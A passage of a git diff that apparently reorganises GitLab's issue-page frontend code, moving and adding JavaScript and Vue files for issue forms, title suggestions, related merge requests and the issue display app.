- projectPath: el.dataset.projectPath,
- projectId: el.dataset.projectId,
- reportAbusePath: el.dataset.reportAbusePath,
- submitAsSpamPath: el.dataset.submitAsSpamPath,
- },
- render: (createElement) => createElement(HeaderActions),
- });
-}
diff --git a/app/assets/javascripts/issue_show/queries/promote_to_epic.mutation.graphql b/app/assets/javascripts/issue_show/queries/promote_to_epic.mutation.graphql
deleted file mode 100644
index 12d05af0f5e..00000000000
--- a/app/assets/javascripts/issue_show/queries/promote_to_epic.mutation.graphql
+++ /dev/null
@@ -1,8 +0,0 @@
-mutation promoteToEpic($input: PromoteToEpicInput!) {
- promoteToEpic(input: $input) {
- epic {
- webPath
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/issue_show/services/index.js b/app/assets/javascripts/issue_show/services/index.js
deleted file mode 100644
index b1deeaae0fc..00000000000
--- a/app/assets/javascripts/issue_show/services/index.js
+++ /dev/null
@@ -1,29 +0,0 @@
-import axios from '../../lib/utils/axios_utils';
-
-export default class Service {
- constructor(endpoint) {
- this.endpoint = `${endpoint}.json`;
- this.realtimeEndpoint = `${endpoint}/realtime_changes`;
- }
-
- getData() {
- return axios.get(this.realtimeEndpoint);
- }
-
- deleteIssuable(payload) {
- return axios.delete(this.endpoint, { params: payload });
- }
-
- updateIssuable(data) {
- return axios.put(this.endpoint, data);
- }
-
- // eslint-disable-next-line class-methods-use-this
- loadTemplates(templateNamesEndpoint) {
- if (!templateNamesEndpoint) {
- return Promise.resolve([]);
- }
-
- return axios.get(templateNamesEndpoint);
- }
-}
diff --git a/app/assets/javascripts/issues/constants.js b/app/assets/javascripts/issues/constants.js
new file mode 100644
index 00000000000..b7b123dfd5f
--- /dev/null
+++ b/app/assets/javascripts/issues/constants.js
@@ -0,0 +1,25 @@
+import { __ } from '~/locale';
+
+export const IssuableStatus = {
+ Closed: 'closed',
+ Open: 'opened',
+ Reopened: 'reopened',
+};
+
+export const IssuableStatusText = {
+ [IssuableStatus.Closed]: __('Closed'),
+ [IssuableStatus.Open]: __('Open'),
+ [IssuableStatus.Reopened]: __('Open'),
+};
+
+export const IssuableType = {
+ Issue: 'issue',
+ Epic: 'epic',
+ MergeRequest: 'merge_request',
+ Alert: 'alert',
+};
+
+export const WorkspaceType = {
+ project: 'project',
+ group: 'group',
+};
diff --git a/app/assets/javascripts/pages/projects/issues/service_desk/filtered_search.js b/app/assets/javascripts/issues/filtered_search_service_desk.js
index bec207aa439..bec207aa439 100644
--- a/app/assets/javascripts/pages/projects/issues/service_desk/filtered_search.js
+++ b/app/assets/javascripts/issues/filtered_search_service_desk.js
diff --git a/app/assets/javascripts/issues/form.js b/app/assets/javascripts/issues/form.js
new file mode 100644
index 00000000000..33371d065f9
--- /dev/null
+++ b/app/assets/javascripts/issues/form.js
@@ -0,0 +1,24 @@
+/* eslint-disable no-new */
+
+import $ from 'jquery';
+import IssuableForm from 'ee_else_ce/issuable/issuable_form';
+import ShortcutsNavigation from '~/behaviors/shortcuts/shortcuts_navigation';
+import GLForm from '~/gl_form';
+import { initTitleSuggestions, initTypePopover } from '~/issues/new';
+import LabelsSelect from '~/labels/labels_select';
+import MilestoneSelect from '~/milestones/milestone_select';
+import IssuableTemplateSelectors from '~/issuable/issuable_template_selectors';
+
+export default () => {
+ new ShortcutsNavigation();
+ new GLForm($('.issue-form'));
+ new IssuableForm($('.issue-form'));
+ new LabelsSelect();
+ new MilestoneSelect();
+ new IssuableTemplateSelectors({
+ warnTemplateOverride: true,
+ });
+
+ initTitleSuggestions();
+ initTypePopover();
+};
diff --git a/app/assets/javascripts/issues/init_filtered_search_service_desk.js b/app/assets/javascripts/issues/init_filtered_search_service_desk.js
new file mode 100644
index 00000000000..1901802c11c
--- /dev/null
+++ b/app/assets/javascripts/issues/init_filtered_search_service_desk.js
@@ -0,0 +1,11 @@
+import FilteredSearchServiceDesk from './filtered_search_service_desk';
+
+export function initFilteredSearchServiceDesk() {
+ if (document.querySelector('.filtered-search')) {
+ const supportBotData = JSON.parse(
+ document.querySelector('.js-service-desk-issues').dataset.supportBot,
+ );
+ const filteredSearchManager = new FilteredSearchServiceDesk(supportBotData);
+ filteredSearchManager.setup();
+ }
+}
diff --git a/app/assets/javascripts/issues/issue.js b/app/assets/javascripts/issues/issue.js
new file mode 100644
index 00000000000..c471875654b
--- /dev/null
+++ b/app/assets/javascripts/issues/issue.js
@@ -0,0 +1,113 @@
+import $ from 'jquery';
+import { joinPaths } from '~/lib/utils/url_utility';
+import CreateMergeRequestDropdown from '~/create_merge_request_dropdown';
+import createFlash from '~/flash';
+import { EVENT_ISSUABLE_VUE_APP_CHANGE } from '~/issuable/constants';
+import axios from '~/lib/utils/axios_utils';
+import { addDelimiter } from '~/lib/utils/text_utility';
+import { __ } from '~/locale';
+
+export default class Issue {
+ constructor() {
+ if ($('.js-alert-moved-from-service-desk-warning').length) {
+ Issue.initIssueMovedFromServiceDeskDismissHandler();
+ }
+
+ if (document.querySelector('#related-branches')) {
+ Issue.initRelatedBranches();
+ }
+
+ Issue.createMrDropdownWrap = document.querySelector('.create-mr-dropdown-wrap');
+
+ if (Issue.createMrDropdownWrap) {
+ this.createMergeRequestDropdown = new CreateMergeRequestDropdown(Issue.createMrDropdownWrap);
+ }
+
+ // Listen to state changes in the Vue app
+ this.issuableVueAppChangeHandler = (event) =>
+ this.updateTopState(event.detail.isClosed, event.detail.data);
+ document.addEventListener(EVENT_ISSUABLE_VUE_APP_CHANGE, this.issuableVueAppChangeHandler);
+ }
+
+ dispose() {
+ document.removeEventListener(EVENT_ISSUABLE_VUE_APP_CHANGE, this.issuableVueAppChangeHandler);
+ }
+
+ /**
+ * This method updates the top area of the issue.
+ *
+ * Once the issue state changes, either through a click on the top area (jquery)
+ * or a click on the bottom area (Vue) we need to update the top area.
+ *
+ * @param {Boolean} isClosed
+ * @param {Array} data
+ * @param {String} issueFailMessage
+ */
+ updateTopState(
+ isClosed,
+ data,
+ issueFailMessage = __('Unable to update this issue at this time.'),
+ ) {
+ if ('id' in data) {
+ const isClosedBadge = $('div.status-box-issue-closed');
+ const isOpenBadge = $('div.status-box-open');
+ const projectIssuesCounter = $('.issue_counter');
+
+ isClosedBadge.toggleClass('hidden', !isClosed);
+ isOpenBadge.toggleClass('hidden', isClosed);
+
+ $(document).trigger('issuable:change', isClosed);
+
+ let numProjectIssues = Number(
+ projectIssuesCounter.first().text().trim().replace(/[^\d]/, ''),
+ );
+ numProjectIssues = isClosed ? numProjectIssues - 1 : numProjectIssues + 1;
+ projectIssuesCounter.text(addDelimiter(numProjectIssues));
+
+ if (this.createMergeRequestDropdown) {
+ this.createMergeRequestDropdown.checkAbilityToCreateBranch();
+ }
+ } else {
+ createFlash({
+ message: issueFailMessage,
+ });
+ }
+ }
+
+ static initIssueMovedFromServiceDeskDismissHandler() {
+ const alertMovedFromServiceDeskWarning = $('.js-alert-moved-from-service-desk-warning');
+
+ const trimmedPathname = window.location.pathname.slice(1);
+ const alertMovedFromServiceDeskDismissedKey = joinPaths(
+ trimmedPathname,
+ 'alert-issue-moved-from-service-desk-dismissed',
+ );
+
+ if (!localStorage.getItem(alertMovedFromServiceDeskDismissedKey)) {
+ alertMovedFromServiceDeskWarning.show();
+ }
+
+ alertMovedFromServiceDeskWarning.on('click', '.js-close', (e) => {
+ e.preventDefault();
+ e.stopImmediatePropagation();
+ alertMovedFromServiceDeskWarning.remove();
+ localStorage.setItem(alertMovedFromServiceDeskDismissedKey, true);
+ });
+ }
+
+ static initRelatedBranches() {
+ const $container = $('#related-branches');
+ axios
+ .get($container.data('url'))
+ .then(({ data }) => {
+ if ('html' in data) {
+ $container.html(data.html);
+ }
+ })
+ .catch(() =>
+ createFlash({
+ message: __('Failed to load related branches'),
+ }),
+ );
+ }
+}
diff --git a/app/assets/javascripts/manual_ordering.js b/app/assets/javascripts/issues/manual_ordering.js
index 9613246d6a6..9613246d6a6 100644
--- a/app/assets/javascripts/manual_ordering.js
+++ b/app/assets/javascripts/issues/manual_ordering.js
diff --git a/app/assets/javascripts/issues/new/components/title_suggestions.vue b/app/assets/javascripts/issues/new/components/title_suggestions.vue
new file mode 100644
index 00000000000..0a9cdb12519
--- /dev/null
+++ b/app/assets/javascripts/issues/new/components/title_suggestions.vue
@@ -0,0 +1,94 @@
+<script>
+import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
+import { __ } from '~/locale';
+import query from '../queries/issues.query.graphql';
+import TitleSuggestionsItem from './title_suggestions_item.vue';
+
+export default {
+ components: {
+ GlIcon,
+ TitleSuggestionsItem,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ projectPath: {
+ type: String,
+ required: true,
+ },
+ search: {
+ type: String,
+ required: true,
+ },
+ },
+ apollo: {
+ issues: {
+ query,
+ debounce: 1000,
+ skip() {
+ return this.isSearchEmpty;
+ },
+ update: (data) => data.project.issues.edges.map(({ node }) => node),
+ variables() {
+ return {
+ fullPath: this.projectPath,
+ search: this.search,
+ };
+ },
+ },
+ },
+ data() {
+ return {
+ issues: [],
+ loading: 0,
+ };
+ },
+ computed: {
+ isSearchEmpty() {
+ return !this.search.length;
+ },
+ showSuggestions() {
+ return !this.isSearchEmpty && this.issues.length && !this.loading;
+ },
+ },
+ watch: {
+ search() {
+ if (this.isSearchEmpty) {
+ this.issues = [];
+ }
+ },
+ },
+ helpText: __(
+ 'These existing issues have a similar title. It might be better to comment there instead of creating another similar issue.',
+ ),
+};
+</script>
+
+<template>
+ <div v-show="showSuggestions" class="form-group row">
+ <div v-once class="col-form-label col-sm-2 pt-0">
+ {{ __('Similar issues') }}
+ <gl-icon
+ v-gl-tooltip.bottom
+ :title="$options.helpText"
+ :aria-label="$options.helpText"
+ name="question-o"
+ class="text-secondary gl-cursor-help"
+ />
+ </div>
+ <div class="col-sm-10">
+ <ul class="list-unstyled m-0">
+ <li
+ v-for="(suggestion, index) in issues"
+ :key="suggestion.id"
+ :class="{
+ 'gl-mb-3': index !== issues.length - 1,
+ }"
+ >
+ <title-suggestions-item :suggestion="suggestion" />
+ </li>
+ </ul>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/issuable_suggestions/components/item.vue b/app/assets/javascripts/issues/new/components/title_suggestions_item.vue
index a01f4f747b9..a01f4f747b9 100644
--- a/app/assets/javascripts/issuable_suggestions/components/item.vue
+++ b/app/assets/javascripts/issues/new/components/title_suggestions_item.vue
diff --git a/app/assets/javascripts/issues/new/components/type_popover.vue b/app/assets/javascripts/issues/new/components/type_popover.vue
new file mode 100644
index 00000000000..a70e79b70f9
--- /dev/null
+++ b/app/assets/javascripts/issues/new/components/type_popover.vue
@@ -0,0 +1,41 @@
+<script>
+import { GlIcon, GlPopover } from '@gitlab/ui';
+import { __ } from '~/locale';
+
+export default {
+ i18n: {
+ issueTypes: __('Issue types'),
+ issue: __('Issue'),
+ incident: __('Incident'),
+ issueHelpText: __('For general work'),
+ incidentHelpText: __('For investigating IT service disruptions or outages'),
+ },
+ components: {
+ GlIcon,
+ GlPopover,
+ },
+};
+</script>
+
+<template>
+ <span id="popovercontainer">
+ <gl-icon id="issue-type-info" name="question-o" class="gl-ml-5 gl-text-gray-500" />
+ <gl-popover
+ target="issue-type-info"
+ container="popovercontainer"
+ :title="$options.i18n.issueTypes"
+ triggers="focus hover"
+ >
+ <ul class="gl-list-style-none gl-p-0 gl-m-0">
+ <li class="gl-mb-3">
+ <div class="gl-font-weight-bold">{{ $options.i18n.issue }}</div>
+ <span>{{ $options.i18n.issueHelpText }}</span>
+ </li>
+ <li>
+ <div class="gl-font-weight-bold">{{ $options.i18n.incident }}</div>
+ <span>{{ $options.i18n.incidentHelpText }}</span>
+ </li>
+ </ul>
+ </gl-popover>
+ </span>
+</template>
diff --git a/app/assets/javascripts/issues/new/index.js b/app/assets/javascripts/issues/new/index.js
new file mode 100644
index 00000000000..59a7cbec627
--- /dev/null
+++ b/app/assets/javascripts/issues/new/index.js
@@ -0,0 +1,56 @@
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createDefaultClient from '~/lib/graphql';
+import TitleSuggestions from './components/title_suggestions.vue';
+import TypePopover from './components/type_popover.vue';
+
+export function initTitleSuggestions() {
+ Vue.use(VueApollo);
+
+ const el = document.getElementById('js-suggestions');
+ const issueTitle = document.getElementById('issue_title');
+
+ if (!el) {
+ return undefined;
+ }
+
+ const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(),
+ });
+
+ return new Vue({
+ el,
+ apolloProvider,
+ data() {
+ return {
+ search: issueTitle.value,
+ };
+ },
+ mounted() {
+ issueTitle.addEventListener('input', () => {
+ this.search = issueTitle.value;
+ });
+ },
+ render(createElement) {
+ return createElement(TitleSuggestions, {
+ props: {
+ projectPath: el.dataset.projectPath,
+ search: this.search,
+ },
+ });
+ },
+ });
+}
+
+export function initTypePopover() {
+ const el = document.getElementById('js-type-popover');
+
+ if (!el) {
+ return undefined;
+ }
+
+ return new Vue({
+ el,
+ render: (createElement) => createElement(TypePopover),
+ });
+}
diff --git a/app/assets/javascripts/issues/new/queries/issues.query.graphql b/app/assets/javascripts/issues/new/queries/issues.query.graphql
new file mode 100644
index 00000000000..dc0757b141f
--- /dev/null
+++ b/app/assets/javascripts/issues/new/queries/issues.query.graphql
@@ -0,0 +1,29 @@
+query issueSuggestion($fullPath: ID!, $search: String) {
+ project(fullPath: $fullPath) {
+ id
+ issues(search: $search, sort: updated_desc, first: 5) {
+ edges {
+ node {
+ id
+ iid
+ title
+ confidential
+ userNotesCount
+ upvotes
+ webUrl
+ state
+ closedAt
+ createdAt
+ updatedAt
+ author {
+ id
+ name
+ username
+ avatarUrl
+ webUrl
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/issues/related_merge_requests/components/related_merge_requests.vue b/app/assets/javascripts/issues/related_merge_requests/components/related_merge_requests.vue
new file mode 100644
index 00000000000..1d48446b083
--- /dev/null
+++ b/app/assets/javascripts/issues/related_merge_requests/components/related_merge_requests.vue
@@ -0,0 +1,120 @@
+<script>
+import { GlLink, GlLoadingIcon, GlIcon } from '@gitlab/ui';
+import { mapState, mapActions } from 'vuex';
+import { sprintf, __, n__ } from '~/locale';
+import RelatedIssuableItem from '~/issuable/components/related_issuable_item.vue';
+import { parseIssuableData } from '~/issues/show/utils/parse_data';
+
+export default {
+ name: 'RelatedMergeRequests',
+ components: {
+ GlIcon,
+ GlLink,
+ GlLoadingIcon,
+ RelatedIssuableItem,
+ },
+ props: {
+ endpoint: {
+ type: String,
+ required: true,
+ },
+ projectNamespace: {
+ type: String,
+ required: true,
+ },
+ projectPath: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ ...mapState(['isFetchingMergeRequests', 'mergeRequests', 'totalCount']),
+ closingMergeRequestsText() {
+ if (!this.hasClosingMergeRequest) {
+ return '';
+ }
+
+ const mrText = n__(
+ 'When this merge request is accepted',
+ 'When these merge requests are accepted',
+ this.totalCount,
+ );
+
+ return sprintf(__('%{mrText}, this issue will be closed automatically.'), { mrText });
+ },
+ },
+ mounted() {
+ this.setInitialState({ apiEndpoint: this.endpoint });
+ this.fetchMergeRequests();
+ },
+ created() {
+ this.hasClosingMergeRequest = parseIssuableData().hasClosingMergeRequest;
+ },
+ methods: {
+ ...mapActions(['setInitialState', 'fetchMergeRequests']),
+ getAssignees(mr) {
+ if (mr.assignees) {
+ return mr.assignees;
+ }
+
+ return mr.assignee ? [mr.assignee] : [];
+ },
+ },
+};
+</script>
+
+<template>
+ <div v-if="isFetchingMergeRequests || (!isFetchingMergeRequests && totalCount)">
+ <div class="card card-slim gl-mt-5">
+ <div class="card-header">
+ <div
+ class="card-title gl-relative gl-display-flex gl-align-items-center gl-line-height-20 gl-font-weight-bold gl-m-0"
+ >
+ <gl-link
+ class="anchor gl-absolute gl-text-decoration-none"
+ href="#related-merge-requests"
+ aria-labelledby="related-merge-requests"
+ />
+ <h3 id="related-merge-requests" class="gl-font-base gl-m-0">
+ {{ __('Related merge requests') }}
+ </h3>
+ <template v-if="totalCount">
+ <gl-icon name="merge-request" class="gl-ml-5 gl-mr-2 gl-text-gray-500" />
+ <span data-testid="count">{{ totalCount }}</span>
+ </template>
+ </div>
+ </div>
+ <gl-loading-icon
+ v-if="isFetchingMergeRequests"
+ size="sm"
+ label="Fetching related merge requests"
+ class="gl-py-3"
+ />
+ <ul v-else class="content-list related-items-list">
+ <li v-for="mr in mergeRequests" :key="mr.id" class="list-item gl-m-0! gl-p-0!">
+ <related-issuable-item
+ :id-key="mr.id"
+ :display-reference="mr.reference"
+ :title="mr.title"
+ :milestone="mr.milestone"
+ :assignees="getAssignees(mr)"
+ :created-at="mr.created_at"
+ :closed-at="mr.closed_at"
+ :merged-at="mr.merged_at"
+ :path="mr.web_url"
+ :state="mr.state"
+ :is-merge-request="true"
+ :pipeline-status="mr.head_pipeline && mr.head_pipeline.detailed_status"
+ path-id-separator="!"
+ />
+ </li>
+ </ul>
+ </div>
+ <div
+ v-if="hasClosingMergeRequest && !isFetchingMergeRequests"
+ class="issue-closed-by-widget second-block"
+ >
+ {{ closingMergeRequestsText }}
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/related_merge_requests/index.js b/app/assets/javascripts/issues/related_merge_requests/index.js
index ce33cf7df1d..ce33cf7df1d 100644
--- a/app/assets/javascripts/related_merge_requests/index.js
+++ b/app/assets/javascripts/issues/related_merge_requests/index.js
diff --git a/app/assets/javascripts/related_merge_requests/store/actions.js b/app/assets/javascripts/issues/related_merge_requests/store/actions.js
index 94abb50de89..94abb50de89 100644
--- a/app/assets/javascripts/related_merge_requests/store/actions.js
+++ b/app/assets/javascripts/issues/related_merge_requests/store/actions.js
diff --git a/app/assets/javascripts/related_merge_requests/store/index.js b/app/assets/javascripts/issues/related_merge_requests/store/index.js
index 925cc36cd76..925cc36cd76 100644
--- a/app/assets/javascripts/related_merge_requests/store/index.js
+++ b/app/assets/javascripts/issues/related_merge_requests/store/index.js
diff --git a/app/assets/javascripts/related_merge_requests/store/mutation_types.js b/app/assets/javascripts/issues/related_merge_requests/store/mutation_types.js
index 31d4fe032e1..31d4fe032e1 100644
--- a/app/assets/javascripts/related_merge_requests/store/mutation_types.js
+++ b/app/assets/javascripts/issues/related_merge_requests/store/mutation_types.js
diff --git a/app/assets/javascripts/related_merge_requests/store/mutations.js b/app/assets/javascripts/issues/related_merge_requests/store/mutations.js
index 11ca28a5fb9..11ca28a5fb9 100644
--- a/app/assets/javascripts/related_merge_requests/store/mutations.js
+++ b/app/assets/javascripts/issues/related_merge_requests/store/mutations.js
diff --git a/app/assets/javascripts/related_merge_requests/store/state.js b/app/assets/javascripts/issues/related_merge_requests/store/state.js
index bc3468a025b..bc3468a025b 100644
--- a/app/assets/javascripts/related_merge_requests/store/state.js
+++ b/app/assets/javascripts/issues/related_merge_requests/store/state.js
diff --git a/app/assets/javascripts/sentry_error_stack_trace/components/sentry_error_stack_trace.vue b/app/assets/javascripts/issues/sentry_error_stack_trace/components/sentry_error_stack_trace.vue
index 1530e9a15b5..1530e9a15b5 100644
--- a/app/assets/javascripts/sentry_error_stack_trace/components/sentry_error_stack_trace.vue
+++ b/app/assets/javascripts/issues/sentry_error_stack_trace/components/sentry_error_stack_trace.vue
diff --git a/app/assets/javascripts/sentry_error_stack_trace/index.js b/app/assets/javascripts/issues/sentry_error_stack_trace/index.js
index 8e9ee25e7a8..8e9ee25e7a8 100644
--- a/app/assets/javascripts/sentry_error_stack_trace/index.js
+++ b/app/assets/javascripts/issues/sentry_error_stack_trace/index.js
diff --git a/app/assets/javascripts/issues/show.js b/app/assets/javascripts/issues/show.js
new file mode 100644
index 00000000000..e43e56d7b4e
--- /dev/null
+++ b/app/assets/javascripts/issues/show.js
@@ -0,0 +1,59 @@
+import loadAwardsHandler from '~/awards_handler';
+import ShortcutsIssuable from '~/behaviors/shortcuts/shortcuts_issuable';
+import { initIssuableHeaderWarnings, initIssuableSidebar } from '~/issuable';
+import { IssuableType } from '~/vue_shared/issuable/show/constants';
+import Issue from '~/issues/issue';
+import { initIncidentApp, initIncidentHeaderActions } from '~/issues/show/incident';
+import { initIssuableApp, initIssueHeaderActions } from '~/issues/show/issue';
+import { parseIssuableData } from '~/issues/show/utils/parse_data';
+import initNotesApp from '~/notes';
+import { store } from '~/notes/stores';
+import initRelatedMergeRequestsApp from '~/issues/related_merge_requests';
+import initSentryErrorStackTraceApp from '~/issues/sentry_error_stack_trace';
+import ZenMode from '~/zen_mode';
+
+export default function initShowIssue() {
+ initNotesApp();
+
+ const initialDataEl = document.getElementById('js-issuable-app');
+ const { issueType, ...issuableData } = parseIssuableData(initialDataEl);
+
+ switch (issueType) {
+ case IssuableType.Incident:
+ initIncidentApp(issuableData);
+ initIncidentHeaderActions(store);
+ break;
+ case IssuableType.Issue:
+ initIssuableApp(issuableData, store);
+ initIssueHeaderActions(store);
+ break;
+ default:
+ initIssueHeaderActions(store);
+ break;
+ }
+
+ initIssuableHeaderWarnings(store);
+ initSentryErrorStackTraceApp();
+ initRelatedMergeRequestsApp();
+
+ import(/* webpackChunkName: 'design_management' */ '~/design_management')
+ .then((module) => module.default())
+ .catch(() => {});
+
+ new ZenMode(); // eslint-disable-line no-new
+
+ if (issueType !== IssuableType.TestCase) {
+ const awardEmojiEl = document.getElementById('js-vue-awards-block');
+
+ new Issue(); // eslint-disable-line no-new
+ new ShortcutsIssuable(); // eslint-disable-line no-new
+ initIssuableSidebar();
+ if (awardEmojiEl) {
+ import('~/emoji/awards_app')
+ .then((m) => m.default(awardEmojiEl))
+ .catch(() => {});
+ } else {
+ loadAwardsHandler();
+ }
+ }
+}
diff --git a/app/assets/javascripts/issues/show/components/app.vue b/app/assets/javascripts/issues/show/components/app.vue
new file mode 100644
index 00000000000..eeaf865a35f
--- /dev/null
+++ b/app/assets/javascripts/issues/show/components/app.vue
@@ -0,0 +1,558 @@
+<script>
+import { GlIcon, GlIntersectionObserver, GlTooltipDirective } from '@gitlab/ui';
+import Visibility from 'visibilityjs';
+import createFlash from '~/flash';
+import { IssuableStatus, IssuableStatusText, IssuableType } from '~/issues/constants';
+import Poll from '~/lib/utils/poll';
+import { visitUrl } from '~/lib/utils/url_utility';
+import { __, sprintf } from '~/locale';
+import { IssueTypePath, IncidentTypePath, IncidentType, POLLING_DELAY } from '../constants';
+import eventHub from '../event_hub';
+import getIssueStateQuery from '../queries/get_issue_state.query.graphql';
+import Service from '../services/index';
+import Store from '../stores';
+import descriptionComponent from './description.vue';
+import editedComponent from './edited.vue';
+import formComponent from './form.vue';
+import PinnedLinks from './pinned_links.vue';
+import titleComponent from './title.vue';
+
+export default {
+ components: {
+ GlIcon,
+ GlIntersectionObserver,
+ titleComponent,
+ editedComponent,
+ formComponent,
+ PinnedLinks,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ endpoint: {
+ required: true,
+ type: String,
+ },
+ updateEndpoint: {
+ required: true,
+ type: String,
+ },
+ canUpdate: {
+ required: true,
+ type: Boolean,
+ },
+ canDestroy: {
+ required: true,
+ type: Boolean,
+ },
+ showInlineEditButton: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ showDeleteButton: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ enableAutocomplete: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ zoomMeetingUrl: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ publishedIncidentUrl: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ issuableRef: {
+ type: String,
+ required: true,
+ },
+ issuableStatus: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ initialTitleHtml: {
+ type: String,
+ required: true,
+ },
+ initialTitleText: {
+ type: String,
+ required: true,
+ },
+ initialDescriptionHtml: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ initialDescriptionText: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ initialTaskStatus: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ updatedAt: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ updatedByName: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ updatedByPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ issuableTemplateNamesPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ markdownPreviewPath: {
+ type: String,
+ required: true,
+ },
+ markdownDocsPath: {
+ type: String,
+ required: true,
+ },
+ projectPath: {
+ type: String,
+ required: true,
+ },
+ projectId: {
+ type: Number,
+ required: true,
+ },
+ projectNamespace: {
+ type: String,
+ required: true,
+ },
+ isConfidential: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ isLocked: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ issuableType: {
+ type: String,
+ required: false,
+ default: 'issue',
+ },
+ canAttachFile: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ lockVersion: {
+ type: Number,
+ required: false,
+ default: 0,
+ },
+ descriptionComponent: {
+ type: Object,
+ required: false,
+ default: () => {
+ return descriptionComponent;
+ },
+ },
+ showTitleBorder: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ isHidden: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ data() {
+ const store = new Store({
+ titleHtml: this.initialTitleHtml,
+ titleText: this.initialTitleText,
+ descriptionHtml: this.initialDescriptionHtml,
+ descriptionText: this.initialDescriptionText,
+ updatedAt: this.updatedAt,
+ updatedByName: this.updatedByName,
+ updatedByPath: this.updatedByPath,
+ taskStatus: this.initialTaskStatus,
+ lock_version: this.lockVersion,
+ });
+
+ return {
+ store,
+ state: store.state,
+ showForm: false,
+ templatesRequested: false,
+ isStickyHeaderShowing: false,
+ issueState: {},
+ };
+ },
+ apollo: {
+ issueState: {
+ query: getIssueStateQuery,
+ },
+ },
+ computed: {
+ issuableTemplates() {
+ return this.store.formState.issuableTemplates;
+ },
+ formState() {
+ return this.store.formState;
+ },
+ hasUpdated() {
+ return Boolean(this.state.updatedAt);
+ },
+ issueChanged() {
+ const {
+ store: {
+ formState: { description, title },
+ },
+ initialDescriptionText,
+ initialTitleText,
+ } = this;
+
+ if (initialDescriptionText || description) {
+ return initialDescriptionText !== description;
+ }
+
+ if (initialTitleText || title) {
+ return initialTitleText !== title;
+ }
+
+ return false;
+ },
+ defaultErrorMessage() {
+ return sprintf(__('Error updating %{issuableType}'), { issuableType: this.issuableType });
+ },
+ isClosed() {
+ return this.issuableStatus === IssuableStatus.Closed;
+ },
+ pinnedLinkClasses() {
+ return this.showTitleBorder
+ ? 'gl-border-b-1 gl-border-b-gray-100 gl-border-b-solid gl-mb-6'
+ : '';
+ },
+ statusIcon() {
+ return this.isClosed ? 'issue-close' : 'issue-open-m';
+ },
+ statusText() {
+ return IssuableStatusText[this.issuableStatus];
+ },
+ shouldShowStickyHeader() {
+ return this.issuableType === IssuableType.Issue;
+ },
+ },
+ created() {
+ this.flashContainer = null;
+ this.service = new Service(this.endpoint);
+ this.poll = new Poll({
+ resource: this.service,
+ method: 'getData',
+ successCallback: (res) => this.store.updateState(res.data),
+ errorCallback(err) {
+ throw new Error(err);
+ },
+ });
+
+ if (!Visibility.hidden()) {
+ this.poll.makeDelayedRequest(POLLING_DELAY);
+ }
+
+ Visibility.change(() => {
+ if (!Visibility.hidden()) {
+ this.poll.restart();
+ } else {
+ this.poll.stop();
+ }
+ });
+
+ window.addEventListener('beforeunload', this.handleBeforeUnloadEvent);
+
+ eventHub.$on('update.issuable', this.updateIssuable);
+ eventHub.$on('close.form', this.closeForm);
+ eventHub.$on('open.form', this.openForm);
+ },
+ beforeDestroy() {
+ eventHub.$off('update.issuable', this.updateIssuable);
+ eventHub.$off('close.form', this.closeForm);
+ eventHub.$off('open.form', this.openForm);
+ window.removeEventListener('beforeunload', this.handleBeforeUnloadEvent);
+ },
+ methods: {
+ handleBeforeUnloadEvent(e) {
+ const event = e;
+ if (this.showForm && this.issueChanged && !this.issueState.isDirty) {
+ event.returnValue = __('Are you sure you want to lose your issue information?');
+ }
+ return undefined;
+ },
+
+ updateStoreState() {
+ return this.service
+ .getData()
+ .then((res) => res.data)
+ .then((data) => {
+ this.store.updateState(data);
+ })
+ .catch(() => {
+ createFlash({
+ message: this.defaultErrorMessage,
+ });
+ });
+ },
+
+ updateAndShowForm(templates = {}) {
+ if (!this.showForm) {
+ this.showForm = true;
+ this.store.setFormState({
+ title: this.state.titleText,
+ description: this.state.descriptionText,
+ lock_version: this.state.lock_version,
+ lockedWarningVisible: false,
+ updateLoading: false,
+ issuableTemplates: templates,
+ });
+ }
+ },
+
+ requestTemplatesAndShowForm() {
+ return this.service
+ .loadTemplates(this.issuableTemplateNamesPath)
+ .then((res) => {
+ this.updateAndShowForm(res.data);
+ })
+ .catch(() => {
+ createFlash({
+ message: this.defaultErrorMessage,
+ });
+ this.updateAndShowForm();
+ });
+ },
+
+ openForm() {
+ if (!this.templatesRequested) {
+ this.templatesRequested = true;
+ this.requestTemplatesAndShowForm();
+ } else {
+ this.updateAndShowForm(this.issuableTemplates);
+ }
+ },
+
+ closeForm() {
+ this.showForm = false;
+ },
+
+ updateIssuable() {
+ const {
+ store: { formState },
+ issueState,
+ } = this;
+ const issuablePayload = issueState.isDirty
+ ? { ...formState, issue_type: issueState.issueType }
+ : formState;
+ this.clearFlash();
+ return this.service
+ .updateIssuable(issuablePayload)
+ .then((res) => res.data)
+ .then((data) => {
+ if (
+ !window.location.pathname.includes(data.web_url) &&
+ issueState.issueType !== IncidentType
+ ) {
+ visitUrl(data.web_url);
+ }
+
+ if (issueState.isDirty) {
+ const URI =
+ issueState.issueType === IncidentType
+ ? data.web_url.replace(IssueTypePath, IncidentTypePath)
+ : data.web_url;
+ visitUrl(URI);
+ }
